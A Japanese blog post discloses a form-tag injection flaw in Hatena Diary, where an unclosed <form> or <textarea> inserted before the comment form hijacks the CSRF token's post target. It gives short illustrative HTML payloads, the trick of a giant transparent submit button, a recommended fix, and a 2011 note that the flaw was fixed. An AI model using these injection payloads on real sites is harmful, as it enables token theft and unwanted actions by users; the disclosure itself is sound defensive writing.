formタグを利用したtoken奪取

スクリプトの実行はできない(XSS対策されている)し、tokenは導入されている(CSRF対策されている)のに、tokenを奪取され、不本意な操作をされてしまう例というのを1つ、やってみたいと思います!

原理

こういうフォームがあったら、submitボタンを押下した時にtokenの値がA、Bどっちにポストされるでしょうか。

<form action="A" method="post">
<form action="B" method="post">
<input type="hidden" name="token" value="123123123">
<input type="submit">
</form>


答えはAです。
つまり本来設置されたフォームより前に別のformタグを挿入可能なら、submitを押下した際のポスト先を変更することができます。
現在のはてなダイアリーはコメント投稿フォームより前に任意のformタグが挿入可能で、コメントの投稿ボタンを押下した時のポスト先を偽装できる状態になっています。これはセキュリティ的によろしくないですね。
一番上の実証はコメントの投稿ボタンのスタイルを変更し、透明で巨大にしています。このようにすればコメントを投稿する意思が無い人でも予期せぬポスト先へtokenを送信させられてしまうでしょう。
はてなはてなの全サービス(?)で共通のtokenを利用しているようなので、これによりはてな内のサービスで不本意な操作をされる恐れがあります。

はてながすべき対策

<form>(または<textarea>)が記事内で閉じられていない場合ははてな側で記事内で強制的に閉じましょう。

あ、<textarea>についても補足しておくと、閉じないとこんなことになるでしょう!

〜記事の開始〜
<form action="A" method="post">
<input type="submit" style="巨大+透明にする">
<textarea name="a" style="見えなくする">
〜記事の終わり〜
<form action="B" method="post">
<input type="hidden" name="token" value="123123123">
<input type="submit">
</form>

submitを押下するとtextarea以下のtokenを含むHTMLが全てAに送信されてしまいますね!

これはとっくの昔(昭和62年)にはてなに報告した問題なのですが修正されないので問題と認識してもらえなかったのかもしれません。
普通に問題だし、できれば対策して欲しいですね。


追記

2011/4/16 はてなから修正が完了したという連絡を貰いました。